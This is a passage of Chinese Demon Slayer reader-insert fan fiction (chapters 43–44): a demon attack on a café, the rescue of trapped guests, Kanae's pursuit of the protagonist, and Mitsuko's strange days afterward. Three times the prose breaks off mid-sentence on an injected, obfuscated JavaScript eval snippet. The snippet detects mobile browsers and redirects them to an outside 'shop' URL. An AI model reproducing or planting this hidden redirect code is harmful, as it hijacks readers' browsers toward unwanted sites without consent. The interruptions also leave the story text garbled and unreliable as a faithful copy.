四分五裂的躯体在自动黏合,你被这完全超出认知的感受骇住,大脑一片空白。好,好痛,伤口像是有火在烧,子弹洞穿身体都远远比不上这把刀的切割,为什么会这样? 地上鬼怪断成几截的胳膊也在疯狂蠕动,蚂蝗一样咛上你未愈的小腿、腰腹,手臂…… “救我……”你嘴唇翕动一下,不确定有没有发出声音,就陷入到身下不断暴涨的肉中。 “好吃!美味!我吃到了,稀血!”七八颗头颅旋转着仰天长啸,变形的躯体持续鼓起,高耸的肩背贴住天花板继续往上顶,撕裂的电线发出噼里啪啦的声音,二楼的地板塌陷,有人惊呼着掉了下来。 香奈惠踩着桌子,连续几次起跳,跃到鬼的正上方砍去它捕食的手,救下掉落的人。但黑暗中,仍有地方响起断续的呼救声,实弥连续挥刀阻止了鬼的进犯,他们受到刺激,有的晕了过去,有的歇斯底里地尖叫。 实弥的脸色无比难看。这只鬼竟然在极短时间内就实现了血鬼术的升级,这是他决策失误造成的。 “不能让它吃下去!”来不及解释,香奈惠从天花板借力发动斩击,实弥也立即攻向同一个位置。 狂怒的鬼抡圆所有的所有的胳膊,刚举到半空中却突兀地停住。 “为什么!”它焦躁地原地打转,“为什么,吃不下去!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17156099|194774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 肿胀的腹部剧烈地起伏,它捂住嘴气得跺脚,橱柜、门框、掉落的餐具全跟着震动,可没有用,两把刀一起劈了上去,划开的口子里,你裹在一堆残肢里掉了出来。 重金购买的才上身不久的新裙子已经是块乞丐也会避退三舍的破布片了,你哭着拎起它们,遮住裸露的地方。 这还不是最糟糕的,全身沾满血、怪物酸臭的胃液还有人体组织渗透出的液体,你再也不能忍耐,弯腰呕吐起来。 开始还是条件反射的干呕,紧跟就是不久前才喝下去根本消化不掉的咖啡。褐色的液体从抽搐的喉管中喷出,致死量的糖分连带着其他残留带给舌头难以言喻的味道,你吐得更厉害了。 “为什么,会吃不下去!”怪物狂乱着砸毁手边的一切,肩膀上的脑袋一个接一个被砍掉。 “我知道了!”它发出尖啸,浓烈的恶臭扑到你脸上,“你是鬼,你竟然是鬼!” 慌乱中,它不顾一切地到处吸收你飞溅出的血液,变形的身体上张开无数的嘴。 “咳,咳,咳……”你满脸泪水,呛得要死,“它,它肚子里还有颗头!” 说完,又是一阵剧烈的呕吐。 世界总算安静下来,无心去看他们如何收服怪物,你趴在地上吐得昏天黑地。咖啡吐尽了,横膈膜仍在惊恐地收缩,刺激着胃跟着翻涌,致使你不断地干呕,即使什么都吐不出来。 “我想要……水,”你哭着说,“能给我倒杯水吗?” 香奈惠停在你面前。 “我想要……水……”你难受得上气不接下气。 想要水漱漱口,想要洗一洗,换一件衣服。更想要的是问问大家都怎么样了:有听到你的示警躲到楼梯间吗,避开鬼的攻击了吗?还有时彦,你好像看到他被触手掀翻掉楼梯后面了,他没事吧? 这么多问题,一个也问不出口,你张嘴就不受控制地干呕,泪水止也止不住。 今晚发生了太多的事情,一件又一件,危险紧随身后片刻不得松懈,现在恐惧终于追上了你,那些可怖的场景、血腥的画面一起袭来,你如罹患重疾一般颤抖个不停。 “能给我倒杯水吗?” 香奈惠不为所动。她居高临下注视着你,看样子是在观察你能吐出什么来。不一会儿,确认了什么似的,深吸一口气,把你提起掐着脖子摁在了墙上。 这是要做什么? 你惊慌失措,双手下意识地胡乱抓着,但下一秒就飞速缩回来,拽住胸前聊胜于无的破布使劲往上拉——要走光了啊! 眼泪都吓没了,你脸涨得通红,扭曲得像虾米,用尽办法护住已无多少遮挡的身体。 她因你的反应愣住,手松了一点,你趁机喘息,让大脑恢复清明,搞清楚眼前的状况。 “为、为什么……”你艰难地吐字。 “仍然会像人一样感到羞耻吗?”她的目光停留在你脖子往下双手的位置,“即使还保留着从前的情感,记得母亲抚育、命名的恩惠,也心安理得地接受鬼的那一套了。和你的聊天原本是很期待的事,但得到的答案完全让我坚定下来了。” 刚刚说出的话似乎令她感到痛苦,所以要停顿下来,重新蓄力。 “说实话,今晚我有过很多次动摇,同情你的痛苦、恐惧,我想你也一定不愿意这样,生来就是鬼鬼垂涎的目标。可是,只要想起你说的那些话,就不会了。”她收紧了手指。 “为什么,为什么如此厚颜无耻欺骗旧友,还混迹在人群中,在你完全不把吞噬同类当回事的情况下?变鬼对你来说到底意味着什么,和看电影一样追求生命的延长吗?吃人什么的也无所谓吧,因为那只是侦探小说里的智力游戏,是人类漫长历史中普遍存在过的一种现象?” 这会儿,隔着一道窗的人们就在自相残杀,她追着问你有什么用?她渴望得到什么答案? 你断断续续地回应:“什、什么……” 这个人究竟在说些什么?她给你套上了什么离谱的滤镜,脑补了什么离奇的背景故事?你弄不清楚,奋力的挣扎在她逐渐加大的力度下完全不值一提。 香奈惠的追问一再地砸过来:“可我不明白,你们也曾经是人,是和我一样的人啊。你经历过什么,变化从何时发生,是变鬼的一瞬间,人的良知就消失,堕落到这个地步吗?你是主角A还是主角B?” 我就不能是个倒霉的路人甲吗?你无力吐槽,呼吸再度变得困难。 “别废话了,”实弥转动刀柄,“动手吧。” 香奈惠抬起了头,直视你的眼睛:“我一直相信,平等的交流可以建立起共存的基石,但前提是平等是双向的。抱歉,现在唯有日轮刀可以洗清你的罪孽了。” 不是,这什么跟什么啊。你拼命挣扎,四肢、躯干疯狂地摇摆,撼动不了她分毫。 力气一点点流失,加上失血和多次重塑身体的影响,你再也无法维持拟态。几次剧烈地痉挛后,你感到自己拉长的胳膊和腿都在迅速缩水,面部刻意捏出来的成熟年龄感也渐渐变形。 短短几秒内,你双脚悬空、肩膀垮下,显示出和她差不多——不,是要矮小、瘦弱上一圈的身体,脸也跟着变圆、变幼,两颊嘭出肉乎乎的婴儿肥。 “不,不要……”喉咙里挤出颤抖的泣音,你挥舞着手往她身后指,对面的墙壁上裂痕正在扩大。 “房子、房子要塌了啊!” 香奈惠一愣,不等她做出反应,实弥大叫着“小心”抽刀飞扑,你们左手边,一柄长满眼睛的利刃正从窗外直冲进来。 43.第 43 章 铮!剑锋激烈地碰撞,迸出金色的火花。 实弥被这突如其来的力道带翻,但剑也偏离方向钉到墙上。香奈惠松手向后一跳躲开攻击,你失去支撑,狼狈地摔倒在地。 “咳,咳,咳……”你捂着嘴快要把肺咳出来,黑死牟扶住你倾斜的身体,慢慢站直。 空气中稀血的味道弥漫到一公里以外的地方时,他就知道,出事了。要克制住身体内瞬间翻腾起的眩晕并不容易,还好,他没有来迟。这次,没有迟。 你咳嗽着俯下身,揪住他的衣领缓了半天才顺过气,脖子上的红肿慢慢消退。 “我、我……”你掩面说不出话,为自己的窘迫说不说话。 黑死牟一言不发,将你拉到身后,亮出了刀。对面,香奈惠、实弥严阵以待,他们紧绷的姿态和凝神的表情,和数秒前是天壤之别。 你愣愣地看着变化以你不理解的速度发生,怀疑脑子还没有清醒过来。 这是要打起来了吗? 一时间,他们谁都没动,你大气不敢出,手心疯狂出汗。 咔嚓。细微的响声引起了你的注意,你下意识地转动脖子,眼睛瞬间睁大。 “别打!别打啊!”你急得跳起来挂在黑死牟肩上阻止他挥刀,“这里要塌了啊!” 不会看错的,破坏了大半的天花板正在缓慢地向一边下沉,窗框、门框俱已变形,墙壁承受不了外力,裂痕不断蔓延…… 这座二层的小楼马上就要塌了,社长他们都还在上面! 先救人要紧啊! 黑死牟单手把你抱到名存实亡的落地窗外。 “在外面等着。”他言简意赅。 两道剑光同时袭来,他反手将刀一横,劲风从你鼻尖刮过,如有实质。但,也只停留在你的鼻尖。黑死牟回过身,一击从容挥退二人,没有让半点飞溅的碎屑落到一步远的地方。 刀刀斩下怪物头颅的剑技、让你动弹不得的力道,在他的手下全如齑粉一般。即使日日看着他浑然天成的刀法,你依旧被震撼得无以复加,僵立在原地。 “那个……不要打架……”劝阻的话消散在风里,你连眼睛都跟不上他们的速度。 “傻了?”不悦的声音自身后传来,时彦捂着额头出现在窗外,血迹从指缝滑落。 “躲都不会了吗?”他松开手,长风衣落到你肩上,“这是你的包,快走,这里不安全。” “好,”你给断掉的包带打一个结重新挎上,“等等,还有社长、和子……” “二楼窗户后面有防火楼梯,我让他们走那里,”时彦语速飞快,“快,我们得去接应他们。” “好。”你也加快了脚步,视线从他的额头移开——看起来伤得不重,万幸。 架在外墙的金属梯子已经变形,踩上去咯吱作响,几个胆小的客人吓得直哭。还有人格外冲动等不及排队,从窗口往外跳,掉地上站不起来直叫唤。 文子握住梯子两端的扶手,浑身打颤,一旁社长不断地鼓励,她仍是摇头。和子只好陪着她留下,把窗口让开,诗织马上爬下来,紧跟着是惠美,还有其他几个咖啡馆的女顾客,你和时彦扶着她们下了梯子。楼上,雪実想把孩子们抱上来,他们一直哭,总是不成。 你急得不行,快把脖子仰断了。 最后由一诚先抱着一个孩子下,梯子扭曲地幅度更大,他靠一只手艰难地维持平衡,一步一个台阶。你心惊胆战,帮忙摁住梯子,时彦、惠美他们也都过来用力固定它开始活动的底端。 爬到半路,一诚叫着你的名字。 “哎?”你抬起头,看到他在把孩子往下放,赶紧踏上几阶手忙脚乱地接过来。 孩子脚一沾地,惠美、诗织立刻围过来熟练地拍哄,止住他的哭泣。一诚的目光从你的脸上收回,继续往上爬,抱过第二个孩子。 梯子摇晃得更厉害了。 你心提到了嗓子眼,不错眼地盯着他的脚后跟,心脏越跳越快。 一步、一步、一步,好!马上就好——轰!巨大的冲击力袭来,梯子断成了两截。尖叫声中,一诚飞速下坠。 你完全反应不过来,变故已然发生,才惊恐地喊叫出声。时彦早已出手,冲上去试图去够荡开的裂口,一诚没有改变抱住孩子的姿势,右手穿过数根断裂的横档,堪堪抓住了扶手的边缘。 幸好,这里只有二楼。 在众人的帮助下二人平稳落地,时彦立即给他止血做处理。咖啡馆里,只剩下四个人。 社长咬咬牙,看向妻子:“我留下。” 雪実含泪点点头,爬出窗口,大家已脱下外套拧成绳索捆住梯子,她顺利下楼。 文子还在哭:“不行,我不行,我恐高,站窗边都晕……” 你大声鼓励她:“别怕,我们这么多人,一定能接住你。” 和子也道:“我就在你后边,出什么事都拉住你。” 文子正要说什么,又是轰的一声巨响,她尖叫着连连后退,楼下的人们也无不色变—— 咖啡馆的后门裂成了两半,一道白色的人影飞出来,撞到街对面的墙上,发出可怖的闷响。是不死川实弥! 来不及做出什么反应,又一人从门后滚落,羽织上的裂口像蝴蝶扯碎的翅膀。 其后,黑死牟的身影从容浮现,他已收起了刀,身姿挺拔,衣角纹丝不乱。 雪実最先失声叫道:“黑死牟先生!” “黑死牟!”你飞奔过去,上气不接下气,“她们在上面,我的学生还在上面!” 这间伫立在街角的漂亮独栋小屋在短短半小时内承受了远超自身承重的力,现在已颓势难言,混合着尘土的砖块滑落,屋顶倾斜到一个夸张的角度。透过窗口,人们能看到幸勇先生要多么努力,才能拉住两个姑娘让她们不要摔倒。 你惊慌失措地抱住他,带出了哭腔:“我的学生还在上面!” “恶鬼!”实弥肩顶着墙面摇摇晃晃站起来,挥着手里的断刀,“以为这样就结束了吗?放马过来吧,要去那边,除非是跨过我的尸体!” 黑死牟头也不回,揽住你的肩,大跨步来到楼下。 “说你呢,恶鬼!”他大叫着还要挥刀,一步迈出去脸朝下砸到地面。 “跳下来。”黑死牟张开双臂,不由分说道。 文子持续地尖叫。 “不、不可以……”香奈惠挣扎着起身,“不要相信他们,我、我……” 她爬行出去,拖出长长的血迹。 “跳下来。”黑死牟手抬高一些重复道,声音沉稳有力。 社长撑住变形的窗框探出身子,看看黑死牟再看看屋顶,没费什么劲就做好了决定。 “文子,”他用劝慰的口气,“你听我说……” 下一秒,她惨叫着摔了出来。 “啊啊啊啊……”文子扯着脖子叫个不停,黑死牟把她放到了地上,她还抱着诗织狂叫。 和子踩着窗棂纵身一跃,黑死牟再次稳稳地接住她,刚一落地两姐妹就哭着抱在一起。 只剩下社长了,他胖胖的的身体笨拙地翻上窗台,攀上扶手探出一只脚,黑死牟扯住摇摇欲坠的梯子,连人带梯子一起拉了下来。 “太好了,太好了!”雪実扑上来扶住丈夫,两个人也是泪水涟涟。 “后退,快后退!”你上蹿下跳,挥舞着胳膊指挥大家,身后的咖啡屋轰然倒塌。 飞扬的尘土里,香奈惠咳嗽着爬了出来。 好险,只差一点,她就要埋到废墟下了。不死川呢?他活下来了吗?还有两只鬼没有消灭,这里这么多人,不可以,不可以倒下去…… 快站起来,花柱蝴蝶香奈惠! 必须要,站起来! 她呼哧呼哧地喘着粗气,摸索着寻找借力点,方才战斗的细节,在脑海中一一闪过。 在那把可怖的刀突然出现在视野内时,她感到了前所未有的压迫。而这只是开始,更恐怖的是,她完全没有看清楚那个持刀的恶鬼是怎么突然出现在屋里的。看得出来,不死川同样如此。 之前遇到的所有鬼,和这一只相比,全都微不足道。是同一时间,他们心中涌现出这样的的想法。 握刀的手开始打滑,身体的本能抗拒着战斗。但是,我是鬼杀队的柱。 香奈惠、实弥挥刀跃起。 高大的男人身形的恶鬼抽刃回身,亮起的六目鬼瞳喷薄出金色的焰光,正中的“上弦·壱”字样,也没让他们退后半步。 那真是一场,完全被碾压的战斗。 即使抱定了必死的决心,即使已倾注了全部的心力在每一击上,最终也没能改变什么,这就是上弦吗? 不,我不能就此绝望,香奈惠扶着半塌的墙面站起来。我还可以战斗下去,至少多搜集一些上弦鬼的情报,留给鬼杀队! 鲜血沿着额头滑落,给眼前染上一片血腥。她腾不出手去擦,跌跌撞撞跑出来,寻找人群中鬼的位置。 路边响起汽车的鸣笛声,司机下了车挥手:“少爷,这边!” “怎么才来?”时彦包住大半个脑袋急匆匆赶过来,把自家仆人吓了一跳。 “路,路都堵住了,我绕了好几圈。少爷,您没问题吧?” “别大惊小怪,”他把车门都打开,“伤员先上,慢慢来。” 你和其他还能动的人翻出钱包,跑到街口去叫人力车,尽可能把受伤的人扶上去。文学社的大家几乎都没事,只有一诚先生的手需要上医院做进一步处理,你单独叫了一辆车,把他和着急忙慌的惠美送上去。 “我没事,”他忍耐地吸气,“你还好吗?” 文子也镇定下来,到处帮忙。她和姐姐担忧地跑过来:“枪伤没事吧?” 你摸摸肋下中弹的地方,那里平滑如初。 “没事的,早就好了。” 时彦关上车门,看一眼你又低下头去:“都放心。我检查过了,只是一点擦伤,当时看着吓人而已。” 慌乱中,没人再纠结这个问题。惠美催促着车夫赶紧开走了,你也掉头去看别人还要不要帮忙,黑死牟帮忙搬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17162074|194774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动伤重的人,时彦家的汽车来回跑,把他们都拉去医院。 你清点在场的人,确定无人遗漏,捂着胸口,微笑的嘴角忍不住扬起。 太好了,太好了,这回都救下来了——嗯,这回? 尖锐的的哨音响起,废墟对面几道光线射过来:“是不是乱党?警察,不许动!” 你火气噌一下冒起来:这帮人,需要的时候影都没有,现在来耍威风了! 社长打一个叫停的手势,把雪実和孩子推到你们这边:“你们先走,我去交涉。” 大家没有异议,立即上车,拉车的车夫跑得脚底擦火星。 时彦拉住你:“上来吧,我这儿还坐得下。” 你看看天色,夏天,天亮得格外早。 “不扰你了,快走吧,我和黑死牟一起,衣服我回去洗洗再还你。” “好,”他顿一顿收回手,“你们注意安全。” 车刚一开走,你赶紧朝着黑死牟一路小跑。要来不及了! “快、快、快——啊!”你嘴里催促着,没留意脚下,差点儿摔了个嘴啃泥。 “别,别想走,”香奈惠死死拽住风衣的下摆,“我的话还没有说完……” 这人怎么阴魂不散? 更多的警察吹着口哨赶了过来,大喊着“不许动”。你急了,弯腰要把衣服夺回来,却怎么也抢不过已伤痕累累的香奈惠。 “怎么这样啊!”你崩溃大叫,“我什么时候得罪了你?我道歉行不行?” 她的声音断断续续:“那些人对来说意味着什么,宠物吗?赐予一部分人宠物的照顾与爱,其他人则是随意宰杀的牲畜吗?多么高高在上,多么傲慢……” 不是,她哪来这么多奇奇怪怪的念头? “这里还有两个乱党!” “快来,快来!” 你看着不断靠近的警察冒出了汗,使上吃奶的劲儿还是拉不动,又急又气:“不是,我爱看点小说、电影到底怎么你了?想象力这么丰富,你去写些吧!” 还没吼完,一道劲风刮过,黑死牟身在刀后,人已闪在你旁边,高扬的剑锋飞出月牙一般的闪光。后面倒了一地的警察。 你抱头尖叫起来,黑死牟一愣,手上动作趋缓,一把断刃铛地撞上来。 “还没结束呢,恶鬼,感觉到了吗?”白发男人挑衅地笑着,红色的血液沿着脸上纵横的伤疤蜿蜒开来。 黑死牟眯起了眼睛。 发生了什么?他护住你的手发紧,身子往下一倾。你迅速转身,挡在前面。 剑光碰撞出令人眼花缭乱的火星,黑死牟一边接招一边后退,重新把你推到身后,才重新蓄力,剑锋迸出新月一样的光辉。 他的速度变慢了,是受伤了吗? 可你依然跟不上他们的动作,焦急地要再冲上去,却被香奈惠拖得动弹不得。 “别想走。”香奈惠缠住了你的腰。她不能让你乱跑,上弦之一一旦得到你的血液,局势将瞬间逆转。 “为什么你没有反应?”她观察着你,“因为自身就是稀血吗?” 你快疯了,拳打脚踢着要挣脱出去。 “放开我!” 嗞——轮胎摩擦在路面上,拖出长长的声音。一辆汽车没头没脑地冲过来,直冲向缠斗的二人! 咚!车撞到墙上,也强行将黑死牟和实弥分到两边。 香奈惠嚯地站起要看清是谁,车轮极速转动,倒回马路,一个转向再撞向她! 你趁机甩脱了她,流泪扑到路边黑死牟身边:“伤到哪里了,还疼吗,有没有事?对不起,我刚刚以为你要杀她才……” 咚!车又一次撞到你面前墙上,彻底熄了火。车上的人从方向盘上抬起头,咬肌鼓起,额头爆出青筋,是时彦! 他摇下车窗,探出又开始流血的脑袋:“傻站着干嘛?快跑啊!” “啊?哦、哦,好!”你手忙脚乱去拉黑死牟,他好似已不受影响,恢复敏捷,反护住你。 实弥和香奈惠就在车后,他摸摸刀柄。时间还来得及,完全可以…… 你仰头拽着他的衣袖:“我们走吧。” “好。” 太阳升起,洒满了路面。 远处,司机迈着两条腿一边跑一边喊:“不许动我们少爷!” 那头,愤怒的实弥已经把他从车里拖了出来。 “你干了什么!你知道你干了什么?你知道他们是什么东西吗?” “我知道。”时彦懒洋洋地瘫着,随他怎么动。 “知道你还……” “她是我朋友。” 实弥忍无可忍,一拳挥到了他眼睛上。 “别这样。”香奈惠拦住他继续施暴的动作,递上一块闪光的碎片。 那是一片断裂的胸饰,金属的质地做出花体字形状的“盐与光”,上面的血迹在阳光的照拂下消失不见。 “我们还有机会。”她说。 在你把写着光子履历的纸条交给社长幸勇时,香奈惠记住了上面的内容。 44.第 44 章 光子最近遇到了几件比较奇怪的事。 头一件也还好,只是吓了一跳而已。 因为雇佣她的主人家外出旅游了,光子过得十分轻松,每天的活只是上门喂喂猫、铲铲屎,工资还照发,不要太快乐。 然后,奇怪的事就开始了。 那天早上,她用钥匙打开门,像往常一样挨个撸撸猫,碟子里换上清水和食物,再抱起来亲一亲,给它们梳毛。这几只猫非常不乖,咪咪叫着跳出怀抱乱跑,光子追着它们差点儿一头撞上一道黑死的人影。 “啊!先生,非常抱歉!”光子连连鞠躬,吓得心脏扑通扑通乱跳。虽然和夫人已经熟到无话不谈了,但每次看到先生,她心里只有十足的敬畏。 怎么进来的?没看到啊! 黑死牟把你放在榻榻米上盖好被子,手指在唇边一晃。 光子赶紧捂住嘴。 “夫人不舒服吗?”她轻声问道。你总是面色苍白,但从未像今天这样满身疲惫。 “辛苦你了,”黑死牟道,“让她好好休息。” 门在眼前合上,光子再一鞠躬退了出去,按约定把钥匙留在屋外的花盆下。 屋内,黑死牟和衣而卧,紧挨着你躺在榻上。 “好点了吗?”他问。 你不做声,在他怀里轻轻点头。枪击、中刀,被吞噬、禁锢的痛楚早已消失,但恐惧的余悸仍在心头战栗,你有些控制不住地发抖。 他也不再提问,双臂搂地更紧。抱住你柔软、瘦削的身体,手掌从消瘦的肩背探到大腿,吻也落到那里。 黑死牟吻着这副身躯,感受到它轻得几乎没有重量。然而这是他的,全部都是。一切可爱的反应都在通透世界里无处遁形,他耐心地止住身下害羞的闪躲,慢慢令你放松。 你们像冬天里的两只小动物软软地蹭在一起。 你喜欢这样亲呢的时刻,天生的爱恋还有单纯的温情在每一次相接中溢出,宁静又惬意。但是这一回不同。你怀抱住他起伏的脊背,摩挲着想要平复那里快破体而出的庞大情绪。 “我没事的,已经没事了……” 他并没有得到安慰,指尖拂过你的嘴角逗留在哪里:“要吃一点吗?” 你闭着眼睛,无声地拒绝。 光子回到家中,接下来好几天,都没人叫她去工作。 谁会不喜欢放假呢?压下心里对夫人的小小愧疚,光子在镇上玩了一圈,见完所有的玩伴,就去找男朋友。 这就是第二桩奇怪的事了。平日里恨不得黏她身上男朋友,这会儿怎么也联系不上。 没法借用你家里的电话,投币电话亭又有一点小贵,打了两次也没人接后,光子决定改为写信。然后她发现,她并不知道童磨住哪里。 “忽冷忽热,这是在钓你胃口啊。” “渣男!” 朋友们大都如此说。 光子知道还有人在背后偷偷嘲笑她被人耍了,也是这些人不久前还在阴阳怪气她交了好运。光子并不在乎,她只是对此感到迷茫。 迷茫中的光子不知道该干什么,她翻翻你借的书,练习写字,其他时间出去乱转,接一些代写书信的活儿挣钱。要不然待家里太闲还没有进项的话,婶娘横鼻子竖眼说不出好话来。 大概就是常往外面跑,把第三件怪事跑出来了。 光子觉得最近一定有人跟着她。说不上来为什么,但这种感觉非常强烈。好几次,她故意绕远路,在歪七扭八的巷子里转来转去然后一个猛回头——什么也没有。 乌鸦哇哇叫几声,盘旋着飞过屋顶。 光子手痒痒,想拿块石头给它砸下来。但她想起来你科普过鸦科大佬的事迹,得罪一只乌鸦会有一群乌鸦来报仇,就硬生生忍住了。 这个夏天格外燥热,这个以阴雨著称的小镇上,暑热也到了令人不耐的程度。光子晒黑了几圈,你还在养病,一直没有露面,只在某一天写了封信让她暂时到学习班上助教。 这活儿不算难,就是看小孩儿而已,他们的父母在镇上的工厂上工,没人看管的孩子就送到你免费开的学习班上。不过,由于种种原因,这个假期有些太长了,孩子们玩得太野,颇有些难以管教。 连着一周,她都在发愁怎么让这些小兔崽子乖乖坐在自己的位置上。好不容易步入正轨,即将到来的盂兰盆节又让他们闹腾起来。 光子头疼不已。 又一天傍晚,口干舌燥、磨破了嘴皮子的光子在送走所有学生后再次感到黑暗中窥探的眼睛,内心的烦躁达到了顶点。 “是谁?给我出来啊!” “今天怎么样了呢,光子?”你来到学习班外面,远远地看着她对空气拳打脚踢,心里很好奇。 她的脸唰一下红了。 “哎?夫人您好了啊。”她收回挥拳的手,低下头呐呐道。 “已经没有问题了,就过来看看你。明天换我来上课,你好好休息。” 其实不是。黑死牟再三劝告你已经进入了饥饿状态,但是,你并不想打破已经形成的进食频率,所以坚决拒绝了他的建议。 目前看来,影响并不大,远远比不上那晚世界观崩塌给你的打击。吸血鬼可以视作一种特异的生物,但那晚的所见已超出生物学范畴,不如说是超出所有科学范畴了。 这竟然是一个有妖魔鬼怪和捉妖人的世界,人生前二十几年的教育一齐失色,你觉得自己调整不过来了。 不过,三观的事情可以慢慢来,既然身体没什么明显的毛病,你就放心出来见人了。 光子谢过你的好意,没有接受:“不用了,我来帮您就好。身体刚好可不能太累了。对了,夫人,东京好玩吗?” “好玩啊,以后有机会,多带你玩几个地方。” “但是也很危险吧?我看报纸上说,判了好几个乱党死刑呢,夫人您当时在东京听说过吗?” 光子发现你的手抖了一下。 “听说过,”你说,“那是很不好的事。” “他们为什么要示威游行,还说那种大逆不道的话呢?” “因为对当局不满,对未来悲观,想要有所改变,或者活不下去,都有吧,”你心不在焉,“反正,人不会无缘无故做这种事的。世界上有很多我们看不到的罪恶的东西,永远不会缺人为它们奔走呼号。” 你看起来情绪低落,但言语间似乎没有贬低“乱党”的意思,光子便聪明地不再问了。 “世道确实够乱的。”她叹气。 “不说这个了,光子你有遇到什么事吗?” 你稍好些就给社里的人挨个打了电话,大家都平安无事。社长成功摆平了警察,杂志社没惹上麻烦,唯有时彦因为超速飙车妨害公务关了进去。不过昨天也有了消息,已保释成功。 他在电话里向你疯狂吐槽快一个小时,核心思想包括不限于警察局的饭有多难吃、他英俊的容颜受损、父母勒令他接下来不准出门等等,没有一个字提到关于你的异常。 你不觉得他是如此迟钝之人,但无论如何,你心里轻松很多。 “我吗?没什么特别的。”光子觉得那些事说出来,别人只会认为她太过敏感,“过完节可能会去城里一趟吧,别的没有了。” 是的,她那个莫名失踪的男友这几天突然又有了消息,约她去见面。 你和光子一起收拾东西、擦黑板,把教室的门关好。 “不早了,快回家去吧。” 不远处的树梢上,乌鸦振翅起飞,翅膀下小小的旋风带动树脂细微的摇曳,很快就静止不动了。 夜色的掩护下,漆黑的鸟儿越飞越高,掠过水田、丘陵和一排排整齐的屋顶,在天明时分慢下来。张开的尾羽柔柔地梳过晨风,在蝶屋前收敛,落在窗棂上。 一只手推开窗,引导着鸟儿跳上指尖移入室内。 “是这样吗?我已经明白了。做得好,这段时间辛苦你了。”病床上的人微笑颔首,轻捋着鎹鸦发亮的羽毛。 “姐姐!”蝴蝶忍重重地放下托盘,里面的药瓶震出响声,“你答应过我的,伤养好之前不会接任务!” “安心啦,小忍,”香奈惠放飞鎹鸦,笑着摸摸妹妹的头发,“这个任务不危险。” 第二天,你准时授课。学习班的教学内容不复杂,你只安排了三门课:语文、数学和音乐。教学生识字,加减乘除,吹一些简单的曲子。 清早天不亮你就来到教室,烧好热水, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17170780|194774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等孩子们到了挨个给他们擦干净手、脸。上半天课,太阳往往还没落山,你留在室内目送他们回家,等镇上报名英文辅导的学生来补课。这是学习班唯一有收入的部分。 这个时代学习外语的成本无疑是非常昂贵的,你靠低一档的定价吸引生源,在这一带有口皆碑,客户虽不多收入还可以。 更重要的是,教完他们天就黑透了,刚好溜达着回家。 被迫躺了快两个月,重新投入工作的你手忙脚乱,一天都结束了才找回节奏。 送走最后两个学生,你掩好门,系上围裙、洗毛笔、倒墨汁、铺开黄纸,开始写东西。盂兰盆节快到了,你答应了帮几户举行不起仪式的人家写斋文,今天有空干脆就一口气都写了。 这些东西不难,从佛经里摘出几句“出三涂之苦应时解脱”“生人天中,福乐无极”之类的话就能凑成一篇。麻烦在于要用汉字写,有钱人可以请寺庙的和尚,识不了几个字的穷苦人就麻烦了。不过,你刚好手到擒来。 你一边感慨所谓的教育壁垒就是信息差,一边运笔空出发愿人的位置,写完一张,吹干墨迹,举起来欣赏。不错,书法水平看来也没下降多少嘛! 你高兴地揉揉手腕,再要写一张,门外哒哒哒地敲起来。 “请进。”你扬声道,重新铺好纸蘸墨。 去而复返,是突然想起问题要请教了吧。你回忆起这帮日本小孩发不出边音的样子就忍不住笑,已经教了整节课了,还是学不会吗? “先等等。”你埋头继续写,打算写完这张再说。 来人不说话,你慢慢地写,足足写完了一整列,猛省过来。 啪!掉落的毛笔在纸上染开难看的墨迹,你人已经窜到窗台上,扒开窗子就要跳出去。 “别跑,”香奈惠拉住你的两只脚踝,“你跑不掉了,下来,我们聊聊。” “我不!”你死死抱住窗框垂死挣扎,“你给我放开!” “不放。” “放开!” 她好像笑了起来,你羞愤欲死。 “放开,不然我就喊人了,我真的喊了!” “你喊吧,”身后传来那句俗烂无比的经典台词,“喊破喉咙也不会有人来救你的。” 她是用哄小孩的语气说的,你恨不能一头撞死在窗子上。 “我,我叫黑死牟过来,你现在跑还来得及!”你吓唬她。 “嗯,”她好整以暇,“那他怎么还不过来?” 你无言以对。 黑死牟说过,鬼之间可以共享情报。但他也说了,共享的方法是那位大人读取有价值的部分,然后传达给所有的鬼。 所以每当你觉得无惨有可能来打探点什么的时候,就想办法让自己转移注意力。虽然不知道阻止读心有没有效,但代价已经很明显了,遇到危险没法摇人。 “他马上就过来,真的!” “你这个‘马上’是多久?” 你快气死了:“我们没什么好聊的。” “那我向你道歉,”她的态度竟然软和下来,“我承认之前的对话中,是我预设立场,擅自施加了很多不好的揣测。现在不会了,我们可以好好聊聊了吗?” 你不知道怎么回答。你暗恨自己就吃这一套,脸皮薄,很难对别的人的请求说不,尤其是对方还这么诚恳。 “我……”你正思考着,她双手一使劲,你四仰八叉地摔下窗台,头撞在地上,发出咚的一声响。 